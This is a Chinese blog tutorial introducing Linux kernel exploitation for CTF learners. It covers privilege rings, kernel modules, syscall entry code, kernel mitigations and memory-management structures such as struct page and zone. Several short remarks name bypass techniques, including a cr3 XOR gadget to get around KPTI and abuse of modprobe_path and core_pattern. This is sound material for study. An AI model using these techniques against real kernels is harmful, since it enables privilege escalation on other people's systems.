前言 附件地址
最近重新跟着老师学了一遍Linux内核安全,所以从博客里翻出来这个古老的文章做一些翻新和添油加醋,但内容依然有很多不足,文章结构也比较混乱,后续会进行改进。这里做的是 Linux Kernel pwn 一些利用手法的记录,后面如果学到 Windows kernel pwn会另开一个篇章。篇幅有限,后面一些内容再做补充。本文内容适合入门学习。还有一些内容有时间再写……
深入理解Pwn_heap及相关赛题
深入理解Pwn_IO_FILE及相关赛题
主要参考:
ctf-wiki
基础知识 推荐一个适合学习linux kernel
开源项目linux_kernel_wiki 。这部分的基础知识是很简单的介绍,后门会对内核相关的基础知识新开篇章进行略详细的学习。
kernel config search
内核简介 通常来说我们可以把内核架构分为两种:宏内核和微内核,此外还有混合内核,外内核。kernel
也是一个程序,用来管理软件发出的数据 I/O
要求,将这些要求转义为指令,交给 CPU
和计算机中的其他组件处理,kernel
是现代操作系统最基本的部分。
kernel
最主要的功能有两点:
控制并与硬件进行交互
提供 application
能运行的环境
包括 I/O
,权限控制,系统调用,进程管理,内存管理等多项功能都可以归结到上边两点中。需要注意的是,kernel
的 crash
通常会引起重启。linux
内核采用的是单内核结构,效率高,但是体积大。Linux
内核包含系统调用接口,进程管理,内存管理,文件系统,网络管理,设备驱动。
Ring Model intel CPU
将 CPU
的特权级别分为 4 个级别:Ring0
, Ring1
, Ring2
, Ring3
。大多数的现代操作系统只使用 Ring0
和 Ring3
。
内核空间运行在 Ring0
特权等级,拥有自己的空间,位于内存的高地址。
用户空间则是我们平时应用程序运行的空间,运行在 Ring3
特权等级,使用较低地址。
Ring0
只给 OS
使用,Ring3
所有程序都可以使用,内层 Ring
可以随便使用外层 Ring
的资源。
Loadable Kernel Modules(LKMs) 概述 可加载核心模块 (或直接称为内核模块) 就像运行在内核空间的可执行程序,LKMs 的文件格式和用户态的可执行程序(ELF)相同。包括:
驱动程序(Device drivers)
内核扩展模块 (modules)
模块可以被单独编译,但不能单独运行。它在运行时被链接到内核作为内核的一部分在内核空间运行,这与运行在用户控件的进程不同。模块通常用来实现一种文件系统、一个驱动程序或者其他内核上层的功能。Linux 内核之所以提供模块机制,是因为它本身是一个单内核 (monolithic kernel)。单内核的优点是效率高,因为所有的内容都集合在一起,但缺点是可扩展性和可维护性相对较差,模块机制就是为了弥补这一缺陷。
相关指令
insmod
: 讲指定模块加载到内核中
rmmod
: 从内核中卸载指定模块
lsmod
: 列出已经加载的模块
modprobe
: 添加或删除模块,modprobe
在加载模块时会查找依赖关系
大多数CTF
中的 kernel vulnerability
也出现在 LKM
中。
用户态->内核态 切换条件
当发生 系统调用,产生异常,外设产生中断等事件时,会发生用户态到内核态的切换。
系统调用,指的是用户空间的程序向操作系统内核请求需要更高权限的服务,比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口,部分库函数(如 scanf,puts 等 IO 相关的函数实际上是对系统调用的封装(read 和 write))。
64bit 系统调用编号cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep __NR_
32bit 系统调用编号cat /usr/include/asm/unistd_32.h | grep __NR_
外设中断(硬中断):当外围设备完成用户的请求操作后,会像CPU发出中断信号,此时,CPU就会暂停执行下一条即将要执行的指令,转而去执行中断信号对应的处理程序,如果先前执行的指令是在用户态下,则自然就发生从用户态到内核态的转换。
异常:当CPU正在执行运行在用户态的程序时,突然发生某些预先不可知的异常事件,这个时候就会触发从当前用户态执行的进程转向内核态执行相关的异常事件,最典型的就是缺页异常。
具体过程:
通过 swapgs
切换 GS 段寄存器,在中断或异常处理的entry代码处, 会执行SWAPGS切换到kernel GS, GS.base 是存储了中断stack 的地址。将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。
通过 push 保存各寄存器值,具体的 代码 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ENTRY (entry_SYSCALL_64)SWAPGS_UNSAFE_STACK movq %rsp, PER_CPU_VAR (rsp_scratch) movq PER_CPU_VAR (cpu_current_top_of_stack) , %rsp pushq $__USER_DS pushq PER_CPU_VAR (rsp_scratch) pushq %r11 pushq $__USER_CS pushq %rcx pushq %rax pushq %rdi pushq %rsi pushq %rdx pushq %rcx tuichu pushq $-ENOSYS pushq %r8 pushq %r9 pushq %r10 pushq %r11 sub $(6 *8 ) , %rsp
通过汇编指令判断是否为 x32_abi
。
通过系统调用号,跳到全局变量 sys_call_table
相应位置继续执行系统调用。
总结:
[1] 从当前进程的描述符中提取其内核栈的ss0
及esp0
信息。
[2] 使用ss0
和esp0
指向的内核栈将当前进程的cs,eip,eflags,ss,esp
信息保存起来,这个过程也完成了由用户栈到内核栈的切换过程,同时保存了被暂停执行的程序的下一条指令。
[3] 将先前由中断向量检索得到的中断处理程序的cs,eip
信息装入相应的寄存器,开始执行中断处理程序,这时就转到了内核态的程序执行了。
内核态->用户态
通过 swapgs
恢复 GS
值
通过 sysretq
或者 iretq
(中断返回指令)恢复到用户空间继续执行。如果使用 iretq
还需要通过堆栈给出用户空间的一些信息(CS, eflags/rflags, esp/rsp
等),即 trap_frame
。
1 2 3 4 5 6 7 struct trap_frame { size_t user_rip; size_t user_cs; size_t user_rflags; size_t user_sp; size_t user_ss; } __attribute__((packed));
对于开启了 KPTI
(内核页表隔离),我们不能像之前那样直接 swapgs; iret
返回用户态,而是在返回用户态之前还需要将用户进程的页表给切换回来。
内核态函数 相比用户态库函数,内核态的函数有了一些变化:
printf()
变更为printk()
,但需要注意的是printk()
不一定会把内容显示到终端上,但一定在内核缓冲区里,可以通过 dmesg
查看效果。
memcpy()
变更为copy_from_user()/copy_to_user()
:
copy_from_user()
实现了将用户空间的数据传送到内核空间。
copy_to_user()
实现了将内核空间的数据传送到用户空间。
malloc()
变更为kmalloc()
,内核态的内存分配函数,和malloc()
相似,但使用的是 slab/slub/slob
分配器,多为slub
。
free()
变更为kfree()
,同 kmalloc()
。
内核保护 这里贴一个github项目 和两个大佬文章,一个 ,另一个 。内核栈和内核堆的相关保护会在将栈和堆时介绍。
空间相关
**smep
**:
Supervisor Mode Execution Protection
(管理模式执行保护),当处理器处于 ring 0
模式,执行用户空间的代码会触发页错误。(在 arm
中该保护称为 PXN
)
**smap
**:
Superivisor Mode Access Protection
(管理模式访问保护),类似于 smep
,当处理器处于 ring 0
模式,访问用户空间的数据会触发页错误。
**KPTI
**:
kernel page-table isolation
,内核页表隔离,进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI
通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了KPTI
,由于内核态和用户态的页表不同,所以如果使用 ret2user
或内核执行ROP
返回用户态时,由于内核态无法确定用户态的页表,就会报出一个段错误。可以利用内核现有的gadget将 cr3
与 0x1000
异或(第13位置0)来完成从用户态PGD转换成内核态PGD。
CONFIG_CFI_CLANG
=y :
Control Flow Integrity
,即控制流完整性,传统ROP
基本宣告死亡。
Hardened Usercopy
hardened usercopy 是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制,主要检查拷贝过程中对内核空间中数据的读写是否会越界 :
读取的数据长度是否超出源 object 范围
写入的数据长度是否超出目的 object 范围
不过这种保护 不适用于内核空间内的数据拷贝 ,这也是目前主流的绕过手段
这一保护被用于 copy_to_user()
与 copy_from_user()
等数据交换 API 中。
地址相关
**MMAP_MIN_ADDR
**:
内核空间和用户空间共享虚拟内存地址,因此需要防止用户空间 mmap
的内存从 0
开始,从而缓解空指针引用攻击。控制着mmap
能够映射的最低内存地址,防止用户非法分配并访问低地址数据。不允许申请NULL
地址 mmap(0,....)
。
**KASLR
**:
Kernel Address Space Layout Randomization
(内核地址空间布局随机化),开启后,允许kernel image
加载到VMALLOC
区域的任何位置。在未开启KASLR保护机制时,内核代码段的基址为 0xffffffff81000000
,direct mapping area
的基址为 0xffff888000000000
。
**FG-KASLR
**:
Function Granular Kernel Address Space Layout Randomization
细粒度的 kaslr
,函数级别上的 KASLR
优化。该保护只是在代码段打乱顺序,在数据段偏移不变,例如 commit_creds
函数的偏移改变但是 init_cred
的偏移不变。
信息相关
**Dmesg Restrictions
**:
通过设置/proc/sys/kernel/dmesg_restrict
为1, 可以将dmesg
输出的信息视为敏感信息(默认为0)
**Kernel Address Display Restriction
**:
内核提供控制变量 /proc/sys/kernel/kptr_restrict
用于控制内核的一些输出打印。
kptr_restrict == 2
:内核将符号地址打印为全 0 , root 和普通用户都没有权限.
kptr_restrict == 1
: root 用户有权限读取,普通用户没有权限.
kptr_restrict == 0
: root 和普通用户都可以读取.
/proc/kallsyms
的内容需要root
权限才能查看,如果以非root
用户权限查看将显示地址为0
。kallsyms
抽取了内核用到的所有函数地址(全局的,静态的)和非栈数据变量地址,生成一个数据块,作为只读数据链接进 kernel image
。要在内核中启用 kallsyms
功能,须设置 CONFIG_KALLSYMS
选项为 y
,如果要在 kallsyms
中包含全部符号信息,须设置 CONFIG_KALLSYMS_ALL
为 y
。kallsyms
表位于 /proc/kallsyms
,kernel
中的 mod_tree
处存放着各个模块加载的地址。
数据相关
**HARDENED_USERCOPY
**:
hardened usercopy
是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制,主要检查拷贝过程中对内核空间中数据的读写是否会越界,读取的数据长度是否超出源 object
范围,写入的数据长度是否超出目的 object
范围。不过这种保护不适用于内核空间内的数据拷贝 ,这也是目前主流的绕过手段这一保护被用于在使用 copy_to_user()
与 copy_from_user()
等数据交换 API 时用 __check_object_size
检查是否越界。
**STATIC_USERMODEHELPER
**:
禁掉了对于 modprobe_path
和 core_pattern
的利用(只读区域)。
Linux 内核内存管理 详细的 Linux 内核内存管理后续会专门新续一篇文,下文只是简述一下。
物理内存 参考链接 参考链接
page Linux 内核内存管理的实现以 page
数据结构为核心,其他的内存管理设施都基于 page
数据结构,如 VMA
管理、缺页中断、RMAP
、页面分配与回收等。page
数据结构定义在 include/linux/mm_types.h
头文件中,大量使用了 C 语言的联合体(union)来优化其数据结构的大小,因为每个物理页面都需要一个 page
数据结构来跟踪和管理这些物理页面的使用情况,所以管理成本很高。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 struct page { unsigned long flags; union { struct { struct list_head lru ; struct address_space *mapping ; pgoff_t index; unsigned long private; }; struct { union { struct list_head slab_list ; struct { struct page *next ; int pages; int pobjects; }; }; struct kmem_cache *slab_cache ; void *freelist; union { void *s_mem; unsigned long counters; struct { unsigned inuse:16 ; unsigned objects:15 ; unsigned frozen:1 ; }; }; }; struct { unsigned long compound_head; unsigned char compound_dtor; unsigned char compound_order; atomic_t compound_mapcount; }; struct { unsigned long _compound_pad_1; unsigned long _compound_pad_2; struct list_head deferred_list ; }; struct { unsigned long _pt_pad_1; pgtable_t pmd_huge_pte; unsigned long _pt_pad_2; union { struct mm_struct *pt_mm ; atomic_t pt_frag_refcount; }; spinlock_t ptl; }; struct { struct dev_pagemap *pgmap ; unsigned long hmm_data; unsigned long _zd_pad_1; }; struct rcu_head rcu_head ; }; union { atomic_t _mapcount; unsigned int page_type; unsigned int active; int units; }; atomic_t _refcount; } _struct_page_alignment;
page 中的重要字段 flags flags
成员是页面的标志位集合,标志位是内存管理中非常重要的部分,具体定义在 include/linux/page-flags.h
文件中,重要的标志位如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 enum pageflags { PG_locked, PG_referenced, PG_uptodate, PG_dirty, PG_lru, PG_active, PG_workingset, PG_waiters, PG_error, PG_slab, PG_owner_priv_1, PG_arch_1, PG_reserved, PG_private, PG_private_2, PG_writeback, PG_head, PG_mappedtodisk, PG_reclaim, PG_swapbacked, PG_unevictable, #ifdef CONFIG_MMU PG_mlocked, #endif #ifdef CONFIG_ARCH_USES_PG_UNCACHED PG_uncached, #endif #ifdef CONFIG_MEMORY_FAILURE PG_hwpoison, #endif #if defined(CONFIG_IDLE_PAGE_TRACKING) && defined(CONFIG_64BIT) PG_young, PG_idle, #endif __NR_PAGEFLAGS, PG_checked = PG_owner_priv_1, PG_swapcache = PG_owner_priv_1, PG_fscache = PG_private_2, PG_pinned = PG_owner_priv_1, PG_savepinned = PG_dirty, PG_foreign = PG_owner_priv_1, PG_slob_free = PG_private, PG_double_map = PG_private_2, PG_isolated = PG_reclaim, };
内核定义了一些宏,用于检查页面是否设置了某个特定的标志位或者用于操作某些标志位。这些宏的名称都有一定的模式,具体如下 。
PageXXX()
用于检查页面是否设置了 PG_XXX
标志位,如 PageLRU()
检查PG_lru
标志位是否置位了,PageDirty()
检查 PG_dirty
是否置位了。
SetPageXX()
设置页面中的 PG_XXX
标志位,如 SetPageLRU()
用于设置 PG_lru
,SetPageDirty()
用于设置 PG_dirty
标志位。
ClearPageXXX()
用于无条件地清除某个特定的标志位。
mapping mapping
成员表示页面所指向的地址空间。内核中的地址空间通常有两个不同的地址空间:
一个用于文件映射页面,如在读取文件时,地址空间用于将文件的内容数据与装载数据的存储介质区关联起来;
另一个用于匿名映射。
内核使用一个简单直接的方式实现了“一个指针,两种用途”,mapping
成员的最低两位用于判断是否指向匿名映射或 KSM 页面的地址空间。如果指向匿名页面,那么 mapping
成员指向匿名页面的地址空间数据结构 anon_vma
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #define PAGE_MAPPING_ANON 0x1 #define PAGE_MAPPING_MOVABLE 0x2 #define PAGE_MAPPING_KSM (PAGE_MAPPING_ANON | PAGE_MAPPING_MOVABLE) #define PAGE_MAPPING_FLAGS (PAGE_MAPPING_ANON | PAGE_MAPPING_MOVABLE) static __always_inline int PageMappingFlags (struct page *page) { return ((unsigned long )page->mapping & PAGE_MAPPING_FLAGS) != 0 ; } static __always_inline int PageAnon (struct page *page) { page = compound_head(page); return ((unsigned long )page->mapping & PAGE_MAPPING_ANON) != 0 ; } static __always_inline int __PageMovable(struct page *page){ return ((unsigned long )page->mapping & PAGE_MAPPING_FLAGS) == PAGE_MAPPING_MOVABLE; }
_refcount _refcount
表示内核中引用该页面的次数。
当 _refcount
的值为 0 时,表示该页面为空闲页面或即将要被释放的页面。
当 _refcount
的值大于 0 时,表示该页面已经被分配且内核正在使用,暂时不会被释放。
内核中提供加/减 _refcount
的接口函数,读者应该使用这些接口函数来使用 _refcount
引用计数。
get_page()
: _refcount
加 1 。
put_page()
: _refcount
减 1 。若 _refcount
减 1 后等于 0 ,那么会释放该页面。
这两个接口函数实现在 include/linux/mm.h
文件中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 static inline void get_page (struct page *page) { page = compound_head(page); VM_BUG_ON_PAGE(page_ref_count(page) <= 0 , page); page_ref_inc(page); } static inline void put_page (struct page *page) { page = compound_head(page); if (put_devmap_managed_page(page)) return ; if (put_page_testzero(page)) __put_page(page); }
_mapcount _mapcount
表示这个页面被进程映射的个数,即已经映射了多少个用户 PTE 。 每个用户进程都拥有各自独立的虚拟空间(256TB)和一份独立的页表,所以可能出现多个用户进程地址空间同时映射到一个物理页面的情况,RMAP 系统就是利用这个特性来实现的。_mapcount
主要用于RMAP系统中。
若 _mapcount
等于 -1 ,表示没有 PTE 映射到页面。
若 _mapcount
等于 0 ,表示只有父进程映射到页面。 匿名页面刚分配时, _mapcount
初始化为 0 。例如,当 do_anonymous_page()
产生的匿名页面通过 page_add_new_anon_rmap()
添加到 rmap 系统中时,会设置 _mapcount
为 0 ,这表明匿名页面当前只有父进程的 PTE 映射到页面。
若 _mapcount
大于 0 ,表示除了父进程外还有其他进程映射到这个页面。同样以创建子进程时共享父进程地址空间为例,设置父进程的 PTE 内容到子进程中并增加该页面的 _mapcount
。
linux 内核通过 page_dup_rmap
函数修改 _mapcount
。
1 2 3 4 static inline void page_dup_rmap (struct page *page, bool compound) { atomic_inc (compound ? compound_mapcount_ptr(page) : &page->_mapcount); }
PG_Locked page
数据结构中的成员 flags
定义了一个标志位 PG_locked
,内核通常利用 PG_locked
来设置一个页锁。lock _page()
函数用于申请页锁,如果页锁被其他进程占用了,那么它会睡眠等待。 lock _page()
函数的声明和实现如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static inline void lock_page (struct page *page) { might_sleep(); if (!trylock_page(page)) __lock_page(page); } static inline int trylock_page (struct page *page) { page = compound_head(page); return (likely(!test_and_set_bit_lock(PG_locked, &page->flags))); } void __lock_page(struct page *__page){ struct page *page = compound_head(__page); wait_queue_head_t *q = page_waitqueue(page); wait_on_page_bit_common(q, page, PG_locked, TASK_UNINTERRUPTIBLE, EXCLUSIVE); }
zone 在 Linux 下将一个节点内不同用途的内存区域划分为不同的区(zone),对应结构体 struct zone
,该结构体定义于 /include/linux/mmzone.h
中,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 struct zone { unsigned long _watermark[NR_WMARK]; unsigned long watermark_boost; unsigned long nr_reserved_highatomic; long lowmem_reserve[MAX_NR_ZONES]; #ifdef CONFIG_NUMA int node; #endif struct pglist_data *zone_pgdat ; struct per_cpu_pageset __percpu *pageset ; #ifndef CONFIG_SPARSEMEM unsigned long *pageblock_flags; #endif unsigned long zone_start_pfn; atomic_long_t managed_pages; unsigned long spanned_pages; unsigned long present_pages; const char *name; #ifdef CONFIG_MEMORY_ISOLATION unsigned long nr_isolate_pageblock; #endif #ifdef CONFIG_MEMORY_HOTPLUG seqlock_t span_seqlock; #endif int initialized; ZONE_PADDING(_pad1_) struct free_area free_area [MAX_ORDER ]; unsigned long flags; spinlock_t lock; ZONE_PADDING(_pad2_) unsigned long percpu_drift_mark; #if defined CONFIG_COMPACTION || defined CONFIG_CMA unsigned long compact_cached_free_pfn; unsigned long compact_cached_migrate_pfn[2 ]; #endif #ifdef CONFIG_COMPACTION unsigned int compact_considered; unsigned int compact_defer_shift; int compact_order_failed; #endif #if defined CONFIG_COMPACTION || defined CONFIG_CMA bool compact_blockskip_flush; #endif bool contiguous; ZONE_PADDING(_pad3_) atomic_long_t vm_stat[NR_VM_ZONE_STAT_ITEMS]; atomic_long_t vm_numa_stat[NR_VM_NUMA_STAT_ITEMS]; } ____cacheline_internodealigned_in_smp;
zone
经常会被访问到,因此这个数据结构要求以 L1 高速缓存对齐。另外,这里的 ZONE PADDING()
让 zone->lock
和 zone->lru_lock
这两个很热门的锁可以分布在不同的高速缓存行中。一个内存节点最多有几个 zone
,因此 zone
数据结构不需要像 page
一样关注数据结构的大小,ZONE_PADDING()
可以为了性能而浪费空间。在内存管理开发过程中,内核开发者逐步发现有一些自旋锁会竞争得非常厉害,很难获取。在稍微早期的Linux内核(如Linux4.0)中,zone->lock
和 zone->lru_lock
这两个锁有时需要同时获取,因此保证它们使用不同的高速缓存行是内核常用的一种优化技巧。然而,在Linux 5.0内核中,zone->lru_lock
已经转移到内存节点的 pglist_data
数据结构中。
通常情况下,内核的 zone
分为 ZONE_DMA
、ZONE_DMA32
、ZONE NORMAL
和 ZONE_HIGHMEM
。zone
类型定义在 include/linux/mmzone.h
文件中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 enum zone_type {#ifdef CONFIG_ZONE_DMA ZONE_DMA, #endif #ifdef CONFIG_ZONE_DMA32 ZONE_DMA32, #endif ZONE_NORMAL, #ifdef CONFIG_HIGHMEM ZONE_HIGHMEM, #endif ZONE_MOVABLE, #ifdef CONFIG_ZONE_DEVICE ZONE_DEVICE, #endif __MAX_NR_ZONES };
ZONE_DMA
:用于 ISA 设备的 DMA 操作,范围是 0~16MB ,只适用于Intel x86 架构,ARM 架构没有这个内存管理区。
ZONE_DMA32
:用于最低 4GB 的内存访问的设备,如只支持 32 位的 DMA 设备。
ZONE_NORMAL
:4GB 以后的物理内存,用于线性映射物理内存。若系统内存小于 4GB,则没有这个内存管理区。
ZONE_HIGHMEM
:用于管理高端内存,这些高端内存是不能线性映射到内核地址空间的。注意,在 64 位Linux操作系统中没有这个内存管理区。
pglist_data pglist_data
数据结构用来描述一个内存节点的所有资源。在 UMA 架构中,只有一个内存节点,即系统有一个全局的变量 contig_page_data
来描述这个内存节点。在 NUMA 架构中,整个系统的内存由一个 pglist_data *
的指针数组 node_data[]
来管理,在系统初始化时通过枚举 BIOS 固件(ACPI)来完成。pglist_data
结构定义于 /include/linux/mmzone.h
中,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 typedef struct pglist_data { struct zone node_zones [MAX_NR_ZONES ]; struct zonelist node_zonelists [MAX_ZONELISTS ]; int nr_zones; #ifdef CONFIG_FLAT_NODE_MEM_MAP struct page *node_mem_map ; #ifdef CONFIG_PAGE_EXTENSION struct page_ext *node_page_ext ; #endif #endif #if defined(CONFIG_MEMORY_HOTPLUG) || defined(CONFIG_DEFERRED_STRUCT_PAGE_INIT) spinlock_t node_size_lock; #endif unsigned long node_start_pfn; unsigned long node_present_pages; unsigned long node_spanned_pages; int node_id; wait_queue_head_t kswapd_wait; wait_queue_head_t pfmemalloc_wait; struct task_struct *kswapd ; int kswapd_order; enum zone_type kswapd_classzone_idx ; int kswapd_failures; #ifdef CONFIG_COMPACTION int kcompactd_max_order; enum zone_type kcompactd_classzone_idx ; wait_queue_head_t kcompactd_wait; struct task_struct *kcompactd ; #endif unsigned long totalreserve_pages; #ifdef CONFIG_NUMA unsigned long min_unmapped_pages; unsigned long min_slab_pages; #endif ZONE_PADDING(_pad1_) spinlock_t lru_lock; #ifdef CONFIG_DEFERRED_STRUCT_PAGE_INIT unsigned long first_deferred_pfn; #endif #ifdef CONFIG_TRANSPARENT_HUGEPAGE spinlock_t split_queue_lock; struct list_head split_queue ; unsigned long split_queue_len; #endif struct lruvec lruvec ; unsigned long flags; ZONE_PADDING(_pad2_) struct per_cpu_nodestat __percpu *per_cpu_nodestats ; atomic_long_t vm_stat[NR_VM_NODE_STAT_ITEMS]; } pg_data_t ;
内存架构 UMA UMA(Uniform Memory Access)架构指的是内存有统一的结构并且可以统一寻址。又名 Symmetrical Multi-Processing,简称SMP,即对称多处理技术,SMP 对称多处理系统内有许多紧耦合多处理器,在这样的系统中,所有的CPU共享全部资源,如总线,内存和I/O系统等,操作系统或管理数据库的复本只有一个,这种系统有一个最大的特点就是共享所有资源。多个CPU之间没有区别,平等地访问内存、外设、一个操作系统。操作系统管理着一个队列,每个处理器依次处理队列中的进程。如果两个处理器同时请求访问一个资源(例如同一段内存地址),由硬件、软件的锁机制去解决资源争用问题。
NUMA NUMA(Non-Uniform Memory Access)架构指的是系统中有多个节点和多个簇,CPU访问本地内存节点的速度最快,访问远端的内存节点的速度要慢一些。
内存模型 参考链接
Linux 提供了三种内存模型,分别是FLATMEM、DISCONTIGMEM、SPARSEMEM。定义于 include/asm-generic/memory_model.h
中。Linux当前默认使用SPARSEMEM模型。
FLATMEM 平滑内存模型。物理内存地址连续,通过简单的线性映射将物理内存页与一个数组 mem_map 对应起来。如下图的模型所示:
从图中可以看出,使用FLATMEM的模型非常高效和简单,直接将物理页通过线性映射与mem_map对应起来。但这种模型有个致命的问题,就是在存在大量空洞内存的场景下,mem_map数组可能会很大,造成内存浪费。
DISCONTIGMEM 为了解决不连续内存(NUMA架构)造成的内存浪费问题,Linux在1999年引入了一种新的内存模型,这就是DISCONTIGMEM。其是通过编译的时候设置CONFIG_DISCONTIGMEM配置项来开启的。针对FLATMEM模型在不连续内存带来的浪费,DISCONTIGMEM的解决思路也挺简单的,就是每个不连续的node都维护一个mem_map,而不是使用一个全局的mem_map,这样就避免mem_map有大量的空洞地址映射。具体模型参考下图:
对于每一段连续的物理内存,都有一个 pglist_data
结构体进行对应,其成员 node_mem_map
为一个 struct page
指针,指向一个 page
结构体数组,由该结构体对应到该段连续物理内存。有一个全局变量 node_data
为一个 pglist_data
数组,其中存放着指向每一个 pglist_data
,该数组的大小为 MAX_NUMNODES
。
SPARSEMEM DISCONTIGMEM模型同样存在不小的弊端:紧凑型线性映射和不支持内存热拔插。DISCONTIGMEM模型本质是一个node上的FLATMEM,随着node的增加或者内存热拔插长场景的出现,同一个node内,也可能出现大量不连续内存,导致DISCONTIGMEM模型开销越来越大。这时候,一个全新的稀松内存模型(sparse memory model)被引入到内核中。下面是其模型图:
在一个 mem_section
结构体中存在一个 section_mem_map
成员指向一个 struct page
数组对应一段连续的物理内存,即将内存按照 section
为单位进行分段。存在一个全局指针数组 mem_section
(与结构体同名)存放所有的 mem_section
指针,指向理论上支持的内存空间,每个 section
对应的物理内存不一定存在,若不存在则此时该 section
的指针为 NULL 。
SPARSEMEM 数据结构 mem_section
结构体定义于 /include/linux/mmzone.h
中,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 struct mem_section { unsigned long section_mem_map; unsigned long *pageblock_flags; #ifdef CONFIG_PAGE_EXTENSION struct page_ext *page_ext ; unsigned long pad; #endif };
mem_section
变量定义于 /mm/sparse.c
中,如下:
1 2 3 4 5 6 #ifdef CONFIG_SPARSEMEM_EXTREME struct mem_section **mem_section ;#else struct mem_section mem_section [NR_SECTION_ROOTS ][SECTIONS_PER_ROOT ] ____cacheline_internodealigned_in_smp ; #endif
若未开启 CONFIG_SPARSEMEM_EXTREME
编译选项则 mem_section
为一个常规的二维数组,否则为一个二级指针,其所指向空间内存动态分配。
kernel 中提供了两个用以在 PFN(Page Frame Numer) 与 page
结构体之间进行转换的宏,定义于 /include/asm-generic/memory_model.h
中,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 static inline struct mem_section *__nr_to_section (unsigned long nr ){ #ifdef CONFIG_SPARSEMEM_EXTREME if (!mem_section) return NULL ; #endif if (!mem_section[SECTION_NR_TO_ROOT(nr)]) return NULL ; return &mem_section[SECTION_NR_TO_ROOT(nr)][nr & SECTION_ROOT_MASK]; } static inline unsigned long pfn_to_section_nr (unsigned long pfn) { return pfn >> PFN_SECTION_SHIFT; } static inline unsigned long page_to_section (const struct page *page) { return (page->flags >> SECTIONS_PGSHIFT) & SECTIONS_MASK; } static inline struct mem_section *__pfn_to_section (unsigned long pfn ){ return __nr_to_section(pfn_to_section_nr(pfn)); } static inline struct page *__section_mem_map_addr (struct mem_section *section ){ unsigned long map = section->section_mem_map; map &= SECTION_MAP_MASK; return (struct page *)map ; } #elif defined(CONFIG_SPARSEMEM) #define __page_to_pfn(pg) \ ({ const struct page *__pg = (pg); \ int __sec = page_to_section(__pg); \ (unsigned long)(__pg - __section_mem_map_addr(__nr_to_section(__sec))); \ }) #define __pfn_to_page(pfn) \ ({ unsigned long __pfn = (pfn); \ struct mem_section *__sec = __pfn_to_section(__pfn); \ __section_mem_map_addr(__sec) + __pfn; \ }) #endif
因此 pfn
与 page
的转换关系如下图所示:
基于Sparse Memory 内存模型上引入了 vmemmap 的概念,是目前 Linux 最常用的内存模型之一。在开启了 vmemmap 之后,所有的 mem_section
中的 page
都抽象到一个虚拟数组 vmemmap 中,这样在进行 struct page *
和 pfn
转换时,直接使用 vmemmap 数组即可。
内核栈 可以先来了解一下内核空间地址布局,详细可以参考这两个链接 first 和 second ,内核栈可以参考 third 。
虽然x86_64
的物理地址范围为64bit
,但是因为地址空间太大目前不可能完全用完,当前支持48bit
和57bit
两种虚拟地址模式,也就是四级页表和五级页表,内核常用的还是四级页表。
x86-64 的内核栈 x86_64
页大小(PAGE_SIZE)是4K
。与所有其他体系结构一样,x86_64
给每个存活的线程都分配一个内核栈。这些线程栈都是THREAD_SIZE (2*PAGE_SIZE)
大的。这些堆栈包含有用的数据,只要线程活着或是一个僵尸线程。当线程在用户空间时,除了底部的thread_info
结构,内核栈为空。
thread_info && task_struct
1 2 3 4 5 6 7 8 9 struct thread_info { unsigned long flags; unsigned long syscall_work; u32 status; #ifdef CONFIG_SMP u32 cpu; #endif };
